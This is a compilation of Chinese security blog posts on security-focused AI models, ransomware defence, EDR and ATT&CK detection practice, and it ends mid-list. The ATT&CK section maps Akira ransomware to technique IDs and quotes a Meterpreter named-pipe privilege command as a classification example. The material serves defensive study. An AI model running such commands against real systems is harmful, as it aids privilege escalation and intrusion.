本文前述内容已经揭示了一个根本性的矛盾：一方面，为了构建最坚固的盾，我们必须深刻理解矛的构造与用法，即“未知攻，焉知防？”；另一方面，创造一个精通攻击的AI本身就带来了巨大的、难以控制的风险。因此，未来的选择并非简单的“防御型”或“攻击型”的二元对立，而是如何在追求极致能力与确保绝对可控之间找到一个微妙的平衡。

基于当前的技术趋势和安全理念，未来安全大模型的演进路径可以归结为以下几个方向：

6.1 路径一：深度整合的“领域专家”模型 (The Domain-Specific Expert)

此路径主张从头开始构建一个专门为网络安全领域设计的“白帽”专家模型。它不再是一个通用大模型（Generalist）的简单微调，而是在预训练阶段、模型架构和训练数据上就进行了深度定制。

训练数据：这类模型的“食粮”将是高度专业化和结构化的。它不仅仅是互联网上的文本，而是一个精心策划的综合数据集，包括：

攻防知识库：海量的CVE漏洞描述、exploit-db中的攻击代码、Metasploit框架模块、CTF竞赛的题目与解法、红队演练报告等。
恶意软件样本库：经过安全处理和分析的数百万恶意软件样本，学习其代码结构、行为模式和混淆技巧。
安全代码库：大规模的、经过审计和修复的开源代码，用于学习什么是“安全的代码”，并能反向识别“不安全”的模式。
实时威胁情报：持续接入全球威胁情报源，学习最新的攻击手法（TTPs）和攻击组织（APTs）的动向。

模型架构：它可能不再是单一的Transformer架构。更可能是一个混合式或多智能体（Multi-Agent）架构，类似于HPTSA的设计理念。不同的智能体分别扮演“侦察员”、“漏洞分析师”、“渗透工具专家”、“代码审计师”等角色，由一个更高层次的“战略规划”智能体进行协调。这种架构能更好地模拟人类安全团队的协作模式，处理长链条、高复杂度的任务。
核心挑战：对齐与控制。这是此路径的阿喀琉斯之踵。如何确保一个精通各种高级攻击技巧的AI，永远只会在授权和道德的框架内行事？这需要比现有“宪法AI”或RLHF更强大的对齐技术。其安全护栏必须是架构级别的、难以被“越狱”的，而非简单的提示层限制。

6.2 路径二：能力增强的“通用代理”模型 (The Augmented General-Purpose Agent)

此路径不寻求重新发明轮子，而是站在通用前沿大模型（如未来的GPT-5、Claude 4）的肩膀上，通过“增强”而非“重建”的方式来赋予其顶级的安全能力。

核心理念：通用大模型已经具备了强大的逻辑推理、代码理解和工具使用能力，这是最宝贵的“基础智力”。我们要做的是为其打造一套顶级的“安全专家装备”。
实现方式：

即时上下文学习 (In-Context Learning) 与RAG：为模型连接一个庞大且实时更新的“外接大脑”——一个包含所有专业安全知识的向量数据库。当处理安全任务时，模型能即时检索最相关的攻击技术、防御策略或漏洞信息，并将其作为决策依据。
专用工具集 (Specialized Tool Use)：模型本身不直接执行攻击，而是成为一个“指挥官”，熟练调用各种专业的安全工具（如Nmap、Wireshark、Burp Suite、代码静态分析工具等）。AI的核心任务是理解工具的输出，并制定下一步的工具调用策略。PentestGPT就是这一思想的早期实践。
任务导向的微调 (Task-Oriented Fine-Tuning)：在通用模型的基础上，使用高质量的攻防数据进行微调，以强化其在安全领域的“思维模式”和“专业术语”，但不需要从零开始学习。

优势与挑战：此路径的优势在于开发周期更短，且能充分享受通用模型能力迭代的红利。挑战在于，其安全能力始终受限于基础模型的“天花板”和其对工具的理解深度。它更像一个“使用说明书”的专家，而非一个具备底层原理“直觉”的专家。

6.3 结论：殊途同归，治理为王

无论是选择构建“领域专家”还是“通用代理”，未来的顶级安全大模型都必然具备以下特征：

1. 攻防一体：模型必须对攻击的全貌有深刻的理解，才能提供真正有效的防御建议、自动化修复方案和精准的威胁预警。一个只会“纸上谈兵”的防御模型，在日益复杂的攻击面前将不堪一击。

2. 人机协同：即使AI能够自主执行大部分任务，人类专家的角色依然不可或缺。未来将是“AI主导执行，人类专家监督决策”的模式。人类负责设定目标、审批高风险操作，并对AI无法处理的创造性难题进行指导。

3. 严格的治理框架：这是比模型本身更重要的部分。正如OpenAI的“准备框架”和Anthropic的“负责任扩展政策”所揭示的，对高能力AI的风险管理必须制度化。这意味着：

分级部署：根据模型的潜在风险（如能否自主发现0-day漏洞）来决定其部署范围和权限。
独立监督：必须有独立于开发团队的安全委员会，对模型的部署拥有“一票否决权”。
可审计性：模型的所有决策和操作都必须被详细记录，以便在出现问题时进行追溯和分析。

最终，未来安全大模型的选择，不是一个单纯的技术路线问题，而是一个技术、伦理与治理三位一体的战略抉择。我们追求的，不应仅仅是一个最强大的安全AI，而是一个最值得信赖、最为可靠、最能将强大能力锁定在造福人类轨道上的安全AI。打造这把“双刃剑”的竞赛已经开始，而如何为它铸造一个足够坚固的“剑鞘”，将是决定我们未来数字世界安全与否的关键。

阅读原文

跳转微信打开

应用数据安全：数字化时代的重要“战场”

Thu, 20 Mar 2025 17:59:00 +0800

原创网安人的智囊团 2025-03-20 17:59 北京

应用程序是数字时代的业务基础。业务应用不仅仅是企业运营的工具，更是企业与客户互动、数据交换的平台。对于攻击者来说，应用就好比金库，其中包含重要的业务和用户数据，虽然金库使用了最坚固的材料和武装齐全的安保，但是只要正常开展业务，就一定会出现安全漏洞。在巨大的收益诱惑下，攻击者会不惜一切代价去寻找抢劫金库的方法。据报道，84%的安全事件发生在应用程序层。因此，保护业务应用和数据安全成为企业数字化过程中的重要任务。

数字化发展带来的变化

数字化发展正深刻改变着各行业企业的运营模式和业务流程，带来了业务应用的倍增，同时也使得应用数据安全成为关注的焦点。

数字化业务应用倍增

在当今数字化时代，不论开展怎样的工作、完成什么样的任务，都离不开数字化应用的支撑与实现，应用程序已经成为企业业务不可或缺的一部分。一项完善的数字化业务，通常是由多个不同功能的应用程序通过API来进行配合构成的。然而，随着应用程序规模的不断扩大和攻击手段的不断演化，应用安全问题愈发凸显，越来越多的攻击事件不断威胁企业业务运行和数据安全。整体来看，数字化发展给企业主要带来以下变化。

应用数量暴增：根据咨询机构IDC预测，到2025年全球将创建7.5亿个云原生应用程序。
海量数据产生：根据咨询机构IDC预测，2027年全球新产生的数据量将达到291ZB，近乎2022年的3倍。
运维形态变迁：企业上云与大量中间件产品的采用，管理对象呈现出类别多样、虚实融合的新现象。

随着云计算、移动互联网和物联网等新技术的发展，应用程序面临的攻击面也在不断扩大。此外，近年来恶意软件、零日漏洞等高级威胁的兴起，对应用程序安全提出了更高要求。

安全也逐步适应变化

随着数字化业务的快速发展，安全领域也在不断适应新的变化。企业通过综合运用多种安全技术并不断增加安全投入，构建了一个多层次、全方位的安全防护体系，以应对不断演变的安全威胁。

1.在安全技术方面

在安全技术方面,安全防御逐步从传统的网络边界安全，深入到终端设备安全和业务应用安全，确保了企业能够在数字化时代中安全地运营和发展。

网络边界安全：防火墙、IPS等产品构筑了网络网关侧的第一堵墙。
终端设备安全：EDR、HIDS等产品提供了工作负载层面的安全指标监测。
业务应用安全：RASP、IAST等产品补足了安全治理在业务层的视角缺失。

随着企业安全建设的不断深入，应用安全可以让企业更好的从业务视角看待安全问题，守护攻击者触及业务时的最后一道防线。

图1 应用安全在整体安全中的位置

在整体安全架构中，应用安全是最贴近业务的安全，它直接关联到业务运营。应用安全不仅关注技术层面的防护，更注重从业务角度出发，识别和治理安全风险。它保护的是企业的核心资产——业务应用和数据，确保它们在遭受攻击时能够保持安全和稳定。因此，应用安全对于维护企业的整体安全运营至关重要。

2.在安全投入方面

在安全投入方面，市场提供了各种解决方案帮助企业提高其应用程序的安全性并确保其跟上不断变化的威胁形势。应用安全主要分为两个细分市场：应用程序安全扫描工具和运行时保护工具。统计发现，随着数字化发展，应用数量迅速增长，安全威胁不断演进，企业在应用安全支出方面也在不断上升。

图2 2017-2023年全球应用安全投入

据Gartner预测，到2025年生成式人工智能（GenAI）将促使企业网络安全投入激增，其中应用程序和数据安全支出将增加15%以上。

应用数据安全受关注

在数字化业务中，应用与数据安全的关系变得尤为紧密，它们共同构成了企业信息安全的核心。应用层面的安全措施直接关系到数据的安全与完整性，而数据层面的保护策略也影响着应用的稳定性与可靠性。

图3 应用与数据安全的关系

近年来，应用与数据安全备受关注，各种政策措施不断出台。2022年12月，《中共中央国务院关于构建数据基础制度更好发挥数据要素作用的意见》（简称“数据二十条”）对外发布。2023年10月国家数据局正式揭牌，这标志着我国对于数据的重视与保护进入全新阶段，数据要素市场制度进一步完善，是中国数据领域的一项重大改革。2024年4月1日召开的首次全国数据工作会议，强调了数据标准化实施的重要性。会议提出了数据标准化的流程和方法，旨在解决标准从制定到落地的全过程管理。这不仅包括标准的制定和发布，更重要的是确保这些标准能够在实际工作中得到有效执行。

应用与数据安全的关系是相辅相成的。应用层面的防护是确保数据安全的关键，而数据安全的政策和标准则为应用防护提供了指导和支持。确保应用安全不仅能够保护企业和个人的数据资产，还能够促进数字经济的健康发展。

-完-

阅读原文

跳转微信打开

基于杀伤链的勒索软件控制框架

Tue, 11 Mar 2025 17:57:00 +0800

原创网安人的智囊团 2025-03-11 17:57 北京

【40s说清楚勒索软件如何工作】

基于杀伤链的勒索软件控制框架开发了4种缓解策略(预防、阻止、检测&响应、重建)，覆盖18个控制域90项控制措施，以正确管理与勒索软件攻击杀伤链各阶段相关的风险。

注：本文节选出自《基于杀伤链的勒索软件防御指南》

扫描二维码，即可下载完整版报告

-完-

阅读原文

跳转微信打开

正式发布:《基于杀伤链的勒索软件防御指南》

Thu, 06 Mar 2025 17:58:00 +0800

原创网安人的智囊团 2025-03-06 17:58 北京

近日，青藤云工作负载安全平台凭借其卓越的技术实力和领先的防勒索解决方案，成功通过赛可达实验室新一代勒索病毒防护能力测试系统V2.0认证，中国工程院院士倪光南为青藤颁发了首批“东方之星Starcheck”勒索病毒防护能力证书。

当前，勒索软件仍然是最具影响力的网络攻击形式。为了让企业能快速落地防勒索能力，青藤基于多年勒索软件研究积累，发布了《基于杀伤链的勒索软件防御指南》，报告提供了实战化的勒索攻击防御技术方案，让有效的安全能力快速发挥效果。同时，本报告提出一个系统框架，指导组织采取具体步骤和方法路径，提高对勒索软件攻击的网络弹性。

勒索软件控制框架基于勒索软件攻击杀伤链，分析攻击者端到端的攻击步骤与相互关系，同时我们将ATT&CK策略整合到杀伤链模型中，描述攻击者特定的战术、技术和程序（TTP）。组织通过映射勒索软件杀伤链，了解威胁和风险节点，对其进行层层阻断，建立更加全面有效的防护体系。

图 1：基于杀伤链的勒索软件控制框架

通过“勒索攻击杀伤链”可以发现，应对勒索攻击的关键在于预防，重点在于检测响应，“绝杀手段”为阻断约束，最后底线为恢复重建。

由于不同的安全防护措施在勒索软件攻击的不同阶段发挥不同程度的作用，通过梳理勒索软件典型安全防护措施，与勒索攻击过程形成映射，围绕勒索软件攻击预防、检测响应、阻断约束、恢复重建四个阶段，打造全链路的勒索软件攻击防护技术方案，防范化解勒索软件攻击风险。

图2：端侧勒索软件攻击防御技术方案

按照勒索病毒攻击“事前、事中、事后”三个阶段，从预防、检测响应、阻止约束、恢复重建四个方面防范化解攻击风险，典型勒索病毒攻击安全防护技术措施主要包括以下几个方面。

PART 01

勒索攻击预防阶段

在勒索攻击预防阶段，主要从资产管理、高风险漏洞管理等方面采取措施，如实现常态化、动态化业务资产管理，进行高危漏洞与弱口令治理等。

1. 建立高价值软件资产清单

建立常态化资产台账和动态化更新机制，覆盖总部和境内外分支附属机构的各类互联网应用系统。构建软件资产自动化收集能力与资产信息及时更新能力，为开展7×24威胁监测和事件处置，常态化开展资产及互联网暴露面管理、漏洞发现及修复工作提供数据资产基础。

图3：常态化&动态化业务资产同步

2. 勒索专项风险检测

公安部启动了“两高一弱”专项行动，旨在检测并修复高风险漏洞、高风险端口及弱密码问题。因此，该方案针对勒索专项风险，实现企业攻击面持续检测、弱口令智能分析、修复进度闭环管理等安全能力，全面治理企业高危漏洞和弱口令风险，减少攻击机会。

图4：高危漏洞与弱口令治理

PART 02

勒索攻击检测响应阶段

威胁检测在实战中一般分为已知特征检测、已知行为检测、未知行为检测三个层次，复杂度逐步增加，该方案威胁检测逐层递进，覆盖各类常见威胁攻击场景。

图5：层层递进的完备勒索检测体系

1.已知特征检测

已知特征的勒索检测主要利用多检测引擎实现防病毒查杀，并实现动态落盘查杀+静态扫描查杀，同时针对家族型勒索样本，通过AI函数片段深度识别引擎进行深度识别排查。

病毒木马多检测引擎：整合多个杀毒引擎，并包括自研杀毒引擎，查杀率高，对挖矿木⻢、蠕虫病毒、黑客工具等都能进行有效的检测。
动态落盘查杀+静态扫描查杀：支持对所有可疑落盘文件进行落盘查杀，扫描是否存在勒索样本的常见特征。同时也支持常规杀软的全盘扫描功能，发现未安装Agent前潜伏的勒索病毒。
AI函数片段深度识别引擎：在一些定向勒索或APT级定向攻击中，有很大比例不再是传统意义上的恶意代码，导致传统基于代码片段特征的检测方式效率及准确率极低。该方案通过勒索样本的识别，将整个程序的所有函数，进行向量分析。通过加密意图及文件异常指标，综合判断勒索攻击样本，检测能力比传统检测方式成功百倍以上。

图6：家族型勒索AI函数片段深度识别

2.已知攻击行为检测

通过勒索家族软件已知攻击行为的分析，以及大量常规攻击检测能力的积累，针对经常出现的行为提供专项深度检测，基于ATT&CK攻击框架在整个攻击路径中的已知攻击位置设置检测锚点，有效识别和响应勒索攻击行为。

基于ATT&CK攻击框架覆盖已知检测场景：参考ATT&CK对恶意行为模式的定义，针对整个攻击路径中的已知攻击位置设置检测锚点，或对某类已知攻击链路设置连续检测点，所有检出的威胁均提供详细的攻击原理，攻击方式，攻击信息，修复建议等内容。

图7：基于ATT&CK攻击框架覆盖已知检测场景

恶意行为识别特定勒索攻击：在一些定向勒索或APT级定向攻击中，攻击样本通常会对系统中本身存在的备份、卷影机制等进行删除，避免业务恢复。通过大量的勒索、挖矿等应急的实例，对攻击者常用的备份删除机制配置监测点，当有攻击者或攻击软件对这些锚点进行劫持时会触发探针的防御机制，对该软件进行拦截，防止进一步的攻击行为。

图8：勒索恶意行为识别

3.未知威胁行为检测

未知行为检测主要通过智能诱饵精准定位文件加密阶段行为，并利用行为白名单构建数据库勒索专项模型有效发现异常入侵行为。

静态/动态诱饵双管齐下：纯动态诱饵无法让探针自动化的理解业务信息，实现诱饵的精准投放，纯静态诱饵部署难度又很大。该方案通过静态诱饵+动态诱饵两种方式结合，将静态诱饵投放在业务关键目录中进行文件混淆，动态诱饵动态暴露在遍历目录的行为中，极大程度的增加诱饵文件的曝光率。

图9：静态诱饵+动态诱饵结合方案

行为白名单与数据库勒索专项模型构建：防勒索软件通过监测并学习主机上的进程创建、文件执行和外部连接等行为数据，利用科学算法对大量行为数据进行聚合与分析，从而形成精确的可信行为画像。基于资产清点的相关优势，自动识别数据库进程位置，学习正常进程对数据库文件的操作行为，从而更精准的捕获服务端数据库勒索行为。

图10：行为白名单与数据库勒索专项模型构建

PART 03

勒索攻击阻断恢复阶段

当发现勒索攻击事件时，首先需要进行勒索攻击阻断，通过文件隔离、进程阻断、网络隔离等手段，层层加码精准隔离，防止威胁进一步扩散。在确认勒索事件发生后，可通过勒索加密数据还原，避免企业缴纳高额赎金。

1.勒索攻击阻断

在勒索攻击阻断阶段，企业应强化突发事件应急处置能力，将攻击造成的影响降到最低。企业一旦发生勒索软件攻击事件，立即按照网络和数据安全事件应急处置管理要求和应急处置流程，启动勒索软件攻击应急响应预案，断开网络连接，隔离被感染主机，阻断网络传播途径，修复网络安全漏洞，尽快利用备份系统进行数据恢复，有效降低勒索软件攻击造成的影响。

图11：勒索攻击阻断精准隔离

2.勒索攻击恢复

在勒索攻击恢复阶段，该方案可通过密钥截取和解密，实现勒索加密数据还原。通过安全研究团队对近百种勒索家族的样本分析，在病毒程序启动时进行行为劫持，捕获加密操作或生成秘钥的操作行为，结合安全研究团队维护的勒索家族规则（已知病毒的加密规律、加密位置、加密算法）或加密行为（加密大小、二进制数据等推测加密位置），对已加密的文件进行解密还原。

图 12：密钥截取和解密过程

勒索软件攻击实施阶段，在RSA秘钥加密前，通过注入hook手段，获取病毒程序生成的加密密钥，或者通过在流量层进行秘钥数据劫持，结合维护的病毒规则或者加密行为，即使真正的发生勒索事件，可将劫持后的秘钥进行文件解锁，避免赎金缴纳。

-完-

阅读原文

跳转微信打开

企业级EDR实施技术指南：十大关键要素深度解析

Tue, 18 Feb 2025 18:00:00 +0800

原创网安人的智囊团 2025-02-18 18:00 北京

一场价值2.3亿美元的“生死时速”

在Black Hat 2023大会上，某跨国企业披露：其EDR系统通过AI行为分析，在30秒内拦截异常进程链，成功阻止勒索攻击。

而同期，国内某制造业巨头却因终端防护滞后，导致核心图纸遭窃，直接损失超5亿元。

这背后折射出一个残酷现实：全球EDR技术已进入“毫秒级响应”时代，而很多中国企业仍在传统杀毒软件的“舒适区”中艰难挣扎。

全球EDR博弈：中国市场的三大“断层”

1. 技术代差：从“规则匹配”到“行为基因分析”

国外趋势：EDR技术已进化至“无规则检测”，通过进程行为基因图谱（Process DNA）预判未知威胁，误报率低于0.1%。

国内现状：80%企业仍依赖特征库比对，面对无文件攻击、供应链投毒等新型威胁束手无策。

2. 架构鸿沟：云原生VS“伪上云”

国际标杆：SentinelOne的“云原生EDR”实现全球百万终端实时关联分析，威胁追溯效率提升20倍。
本土困境：多数国产EDR仍沿用传统批处理机制，海量日志需经多级归集后才能启动分析，威胁溯源的时效性停留在"天级"水位。

3. 生态短板：国产化适配的“最后一公里”

信创浪潮下，统信UOS、华为欧拉等系统装机量激增，但90%的EDR产品对国产芯片、非标API接口的兼容性不足，甚至出现“蓝屏式防护”。

中国EDR的“生死命题”：从被动防御到智能反制

1. 突破“重运维、轻检测响应”的思维桎梏

国际经验：微软Defender XDR实现“检测-响应-修复”自动化闭环，平均响应时间压缩至3分钟。
本土反思：部分厂商直接将传统杀毒引擎包装为EDR，其技术逻辑仍是“特征码+启发式扫描”，或者将设备管控、软件白名单、日志审计等功能打包为EDR，但缺乏深度分析能力。

2. 终结“内外威胁双盲”困局

内部威胁：国内某互联网大厂曾因员工终端权限滥用，导致百万用户数据泄露。传统EDR对合法身份下的异常操作（如高频数据导出）几乎无解。
破局之道：EDR与零信任架构深度耦合，通过UEBA（用户实体行为分析）构建动态访问链监控。

3. 打破“数据孤岛”：从单点防护到作战网络

国际实践：Palo Alto的XSOAR平台整合EDR、NDR、SIEM数据，实现跨层威胁狩猎。
本土痛点：多数企业EDR与主机HIDS、防火墙、邮件网关各自为战，攻击者只需突破一个节点即可长驱直入。

下一代EDR的中国方案：四大技术革命

1. 轻量化Agent革命：从“资源黑洞”到“隐形卫士”

内存占用<30MB，无感部署于国产兆芯、鲲鹏平台。
差分更新技术（Delta Update）使5000节点批量升级仅需15分钟。

2. 智能决策革命：AI驱动的“威胁免疫系统”

基于ATT&CK框架的战术映射，自动识别攻击阶段（如横向移动、数据渗出）。
动态进程链分析技术，精准阻断供应链攻击的“合法外衣”。

3. 云边协同革命：分布式流处理引擎

区域边缘节点预分析，云端全局威胁图谱实时同步，时延<50ms。
支持K8s DaemonSet模式，秒级监控容器集群异常实例。

4. 主动防御革命：攻击面自收敛技术

自动识别暴露端口、高危服务并触发最小化权限配置。
结合RASP（运行时应用自保护），阻断内存马注入等0day攻击。

未来已来：EDR将重新定义企业安全边界

Gartner预测，到2025年，70%的终端防护将基于“检测-响应-预测”三位一体模型。对中国企业而言，EDR不仅是技术升级，更是一场安全思维的范式革命——从“筑墙式防御”转向“动态免疫”，从“单点防护”进化为“智能作战网络”。

此刻，你的终端防线是否已准备好迎接下一场APT风暴？

-完-

阅读原文

跳转微信打开

EDR技术革命：从被动防御到智能反制的进化之路

Tue, 11 Feb 2025 18:00:00 +0800

原创网安人的智囊团 2025-02-11 18:00 北京

在WannaCry勒索病毒瘫痪英国医疗系统的72小时后，某跨国制药集团EDR系统成功拦截了第37次横向移动攻击。这个真实场景揭示了现代网络安全战争的残酷本质——当传统防御体系在现代化攻击前节节败退时，智能化的端点检测与响应技术正在重塑攻防规则。

表 1 展示了 EDR 技术的时间演进，呈现出近年来越来越倾向于采用机器学习和人工智能等先进方法的趋势。这一趋势为未来 EDR 研究中选择技术提供了有价值的参考。

从"特征库时代"到"行为基因解码"

早期EDR系统如同拿着通缉令的巡警，依赖特征码匹配进行威胁识别。这种基于签名的检测机制在2017年Mirai僵尸网络攻击中暴露致命缺陷——超过60%的IoT设备因无法识别变异代码而沦陷。转折发生在行为分析技术的突破，安全工程师开始从"查户口"转向"测DNA"。

卡内基梅隆大学的研究表明，将进程树演化、API调用序列等200+行为特征纳入机器学习模型后，未知威胁检出率提升4.2倍。通过内核级行为监控，实现了平均87ms的勒索软件阻断响应，这相当于在子弹击发瞬间完成弹道计算与拦截。

AI双刃剑：安全领域的"奥本海默时刻"

当BlackBerry Cylance用卷积神经网络实现98.5%的恶意软件识别准确率时，安全界迎来了AI赋能的黄金时代。但Darktrace的对抗性攻击实验揭示残酷现实：只需对PE文件头注入3%的噪声，就能使主流检测模型误判率达到41%。这迫使EDR系统必须构建"数字免疫体系"——微软Defender ATP引入对抗训练框架，通过生成式AI模拟超过120种攻击变体进行模型强化。

模型漂移问题同样棘手。Palo Alto Networks的日志分析显示，部署18个月后的EDR系统检测效能普遍衰减22%-35%。这催生了动态学习架构的革新，FireEye提出的在线增量学习方案，使模型能在不中断服务的情况下，每小时吸收150TB新威胁数据完成自我进化。

XDR生态：打破"数据巴别塔"的圣杯之战

当SolarWinds供应链攻击穿透200+企业的防线时，暴露了单点防御的致命短板。Gartner数据显示，采用XDR架构的企业平均事件响应时间缩短67%，这源于其三大突破：

全栈感知：将端点、网络、云工作负载的400+数据维度进行时空关联
智能编排：自动生成包含MITRE ATT&CK战术标注的威胁图谱
云原生架构：支持千万级终端秒级策略同步，时延控制在50ms以内

实战案例极具说服力：在某金融机构攻防演练中，XDR平台通过关联邮箱登录异常与PowerShell恶意代码注入，在攻击者建立C2通道前完成自动化隔离，整个过程无需人工干预。

在量子计算与生成式AI重塑网络安全格局的前夜，EDR技术的进化早已超越工具范畴。它既是数字世界的免疫系统，更是企业安全战略的核心中枢。当检测响应时延进入纳秒级竞争，真正的胜利者将是那些把安全基因写入组织DNA的企业。这场没有终点的军备竞赛，终将催生出具备自主进化能力的智能防御生命体。

-完-

阅读原文

跳转微信打开

ATT&CK实践进入深水区 ---不要再迷信ATT&CK覆盖率

Tue, 14 Jan 2025 18:00:00 +0800

程度 2025-01-14 18:00 北京

引言

ATT&CK除了版本更新的常规内容外，研究机构、学术界和产业界都有更深入的实践，检测方面的内容有了更多深入的实践和检验，从实际情况“祛魅”了ATT&CK覆盖率这个数字。除了检测工程之外，在威胁预测和威胁情报方面也有亮眼的进展。ATT&CK更像是一个“活框架”，它的源头是各种威胁情报和攻击方法的更新，比如勒索软件的猖獗；也有科技进展带来新的威胁也是ATT&CK可以覆盖的方向，比如ATT&CK的矩阵也扩展到AI安全领域、汽车安全、无人机和卫星安全领域。

ATT&CK在检测工程中的应用

CISA关于云安全和紫队测试的实践

紫队测试的基本原理，遵循"知己知彼"的战略思想，结合两个关键方面："了解敌人"：模拟攻击者工具、战术和程序，获取可观察数据；"了解自己"：开发和测试检测机制，识别技术差距和局限性。

图1 紫队的定义

紫队的意义在于大多数攻击者缺乏原创性，主要使用：

1.N-day CVEs（已知漏洞）

2.漏洞利用概念验证(POC)

3."安全审计"工具

防御者需要避免自满：

1.可能缺失关键取证数据

2.SIEM和分析模型可能过度调优

3.EDR/MSSP性能可能存在差异

根据云环境安全事件案例分析

1.Storm-0558 (2023年案例)

（1）利用了多种技术：私钥窃取、Web凭证伪造、云账户访问等

（2）展示了复杂的攻击链条

2.NOBELIUM (2024年案例)

（1）使用密码喷洒、云账户访问、应用程序访问令牌等技术

（2）影响到联邦机构系统

紫队的知识来源于ATT&CK（红队）和D2FEND（蓝队）的相关内容。

图2 紫队的工作过程

紫队测试流程详解

1.ATT&CK计划制定

（1）利用威胁情报和案例研究

（2）构建红队行动手册

2.模拟环境要求

（1）网络基础设施

（2）用户角色设置

（3）应用和服务配置

3.取证需求确定

（1）主机级别日志

（2）网络级别数据

（3）应用程序日志

4.对抗性模拟

（1）红队执行技术

（2）跟踪IOC和C2活动

5.蓝队响应

（1）使用现有工具和流程进行威胁狩猎

（2）追踪发现和检测方法

6.紫队测试

（1） ATT&CK覆盖分析

（2）识别已采取/遗漏的D3FEND防御措施

（3）基于完整取证和红队活动知识开发检测机制

（4）识别额外的防御措施

图3 紫队的完整工作流程

ATT&CK在Linux勒索软件中的应用

Cisco Talos的安全研究人员关于Akira Linux变体勒索软件的分析报告中说明了Linux勒索软件的现状：

Linux在关键系统中的普及

向混合云和云环境的转移

针对虚拟化平台
可能存在较弱的防御
双重勒索方式的增加

图4 Linux 勒索软件全景

1.Akira版本演进

（1）Akira_v2:

专门针对ESXi的加密器
使用Rust语言编写
文件扩展名为".akiranew"
改进了命令行参数功能
使用rust-crypto 0.2.36库进行加密

（2）Akira_v1:

使用C++编写，使用Crypto++库进行加密
基本功能较简单
文件扩展名为".akira"
可能是从Windows版本移植

2.分析Akira勒索软件使用的多个ATT&CK技术编号

（1）初始访问：

T1078 (有效账户)
T1190 (利用面向公众的应用程序)

（2）执行：

T1569.002 (服务执行)
T1059.001 (命令和脚本解释器：PowerShell)

（3）持久性：

T1547.001 (注册表运行键/启动文件夹)

（4）权限提升：

T1548.002 (滥用提权控制机制：绕过用户账户控制)

（5）防御规避：

T1562.001 (削弱防御：禁用或修改工具)
T1222 (文件和目录权限修改)

（6）横向移动：

T1021.002 (SMB/Windows管理共享)
T1021.001 (远程服务：远程桌面协议)

（7）收集与渗出：

T1560.001 (归档收集的数据：通过工具归档)
T1567.002 (通过Web服务渗出：渗出到云存储)

通过威胁追踪到检测工程完成对Linux下勒索软件的检测，首先通过ATT&CK框架，研究人员能够系统地记录和分析Akira的攻击链路；映射攻击者的战术技术和程序(TTPs)；跟踪威胁演变过程。然后从事件响应到威胁情报，再到检测工程的工作流程，这与ATT&CK框架的应用理念相符，有助于建立基于ATT&CK的检测策略；评估防御覆盖范围；识别防御差距。

ATT&CK在各个产品的覆盖率

这是一篇2024年USENIX Security 的一篇文章《How does Endpoint Detection use the MITRE ATT&CK Framework?》，主要探讨了端点检测产品如何整合和使用MITRE ATT&CK框架。研究人员分析了Carbon Black、Splunk和Elastic等端点检测产品如何使用ATT&CK框架。围绕3个主要问题:产品如何使用ATT&CK、为什么不能检测所有ATT&CK技术、产品间应用ATT&CK检测的一致性如何。技术覆盖范围并没有告诉我们可以检测到多少程序级威胁，ATT&CK 90% 覆盖率 == 90% ATT&CK 技术至少有 1 个检测规则。

主要发现：

1.产品使用ATT&CK的情况:

（1）产品优先考虑类似的战术和技术

（2）即使把所有产品结合起来,也无法实现100%的技术覆盖率

（3）厂商经常宣传高覆盖率,但这可能给人虚假的安全感

（4）过滤掉低、中严重性/风险规则，Splunk和Elastic的 ATT&CK 技术和覆盖范围均减半

图5 ATT&CK在各个产品的覆盖率和所有产品合并的覆盖率

图6 过滤低、中严重性/风险规则的各产品ATT&CK覆盖率

2.无法全面检测的原因:

（1）某些技术本质上很难检测

（2）约53种技术未在任何商业产品中实现

（3）主要障碍包括:检测方法无效(39.6%)、针对非主机基础设施(24.5%)、需要客户特定知识(17%)等

图7 安全产品的ATT&CK规则

图8 ATT&CK攻击技术无法检测的原因

3.产品间的一致性问题:

（1）即使检测相同的威胁,产品很少使用相同的ATT&CK技术来描述

（2）ATT&CK本身的模糊性和重叠导致了分歧

（3）不同产品可能将相同的系统日志活动归因于完全不同的战术动机

下图可以解释可能得分歧情况，展示了一个与 Meterpreter（一种攻击工具）相关的命名管道模拟行为，具体命令是：cmd.exe /c echo 4 sgryt3436 > \\.\ pipe \5 erg53

Elastic 的检测规则：将其归类为 T1134 (Access Token Manipulation)

Splunk 的检测规则：将同样的行为归类为T1059 (Command and Scripting Interpreter)和T1543 (Create or Modify System Process)

图9 Elastic和Splunk的归类分歧

ATT&CK在预测方面的应用

MITRE的威胁通告防御中心（Center for Threat-Informed Defense）机构为了使用ATT&CK框架可以全面了解攻击者，开发了攻击技术推理引擎 (TIE) ，这个引擎根据一组观察到的技术推断攻击者可能使用的技术。网络防御者可以使用这些数据来确定威胁搜寻特定技术的优先级，事件响应者可以使用这些信息来突出显示对于威胁驱逐和恢复至关重要的重要横向移动和持久行为。

图10 TIE的产品界面：以钓鱼技术为例，预测后续可能得攻击技术

图11 TIE导出的结果通过Navigator可视化

1. 技术原理

TIE是一种基于机器学习模型的工具，它通过训练在网络威胁情报上，推荐可能的TTPs（战术、技术和程序）基于已知的输入TTP。这种技术能够帮助分析人员快速理解在已知TTP之后可能发生的情况，基于广泛的威胁情报语料库。

2. 应用场景

（1）优先级排序：在网络紧急响应事件中，TIE可以帮助确定首先寻找哪些技术。

（2）事后分析：通过突出潜在的感知、检测和报告缺口，改善事后事件分析。

（3）攻击向量建议：作为网络保证的一部分，建议类似或相关的攻击向量。

（4）攻击者仿真计划：帮助创建攻击者仿真计划，以提高防御能力。

3. 优势

（1）提高效率：TIE通过减少分析人员在随机性上的时间投入，而将注意力集中在可能的入侵方法上，从而提高调查效率。

（2）适应性：随着新活动的检测，TIE的模型可以被重新训练以适应新的或以前未见过的攻击者TTPs。

（3）未知活动发现：TIE旨在协助安全团队发现基于观察到的攻击者活动的以前未知的攻击者活动。

4.与传统安全分析的比较

TIE与传统安全分析相比，更侧重于使用机器学习技术来预测和识别潜在的威胁行为序列，而不是仅仅依赖于已知的攻击模式和签名。这种方法可以更有效地适应不断变化的威胁环境，并能够识别出新的或未知的攻击行为。

ATT&CK在痛苦金字塔的应用

攀登金字塔（Summiting the Pyramid）是一个研究项目，来源于痛苦金字塔，专注于工程网络分析，使对手的规避更加困难。该项目由 MITRE 威胁通告防御中心创建和维护，推动全球威胁知情防御的技术水平和实践水平。

金字塔的前四层专注于短暂的值，对手很容易改变这些值。下一个级别的重点是对手在攻击期间尝试使用的工具类型。最后，顶层重点关注对手在攻击期间表现出的行为。

图12 痛苦金字塔和攀登金字塔的的联系

威胁检测规则的质量评估结果，采用了分层的StP(Summiting the Pyramid)框架：

1.分层结构（从上到下）：
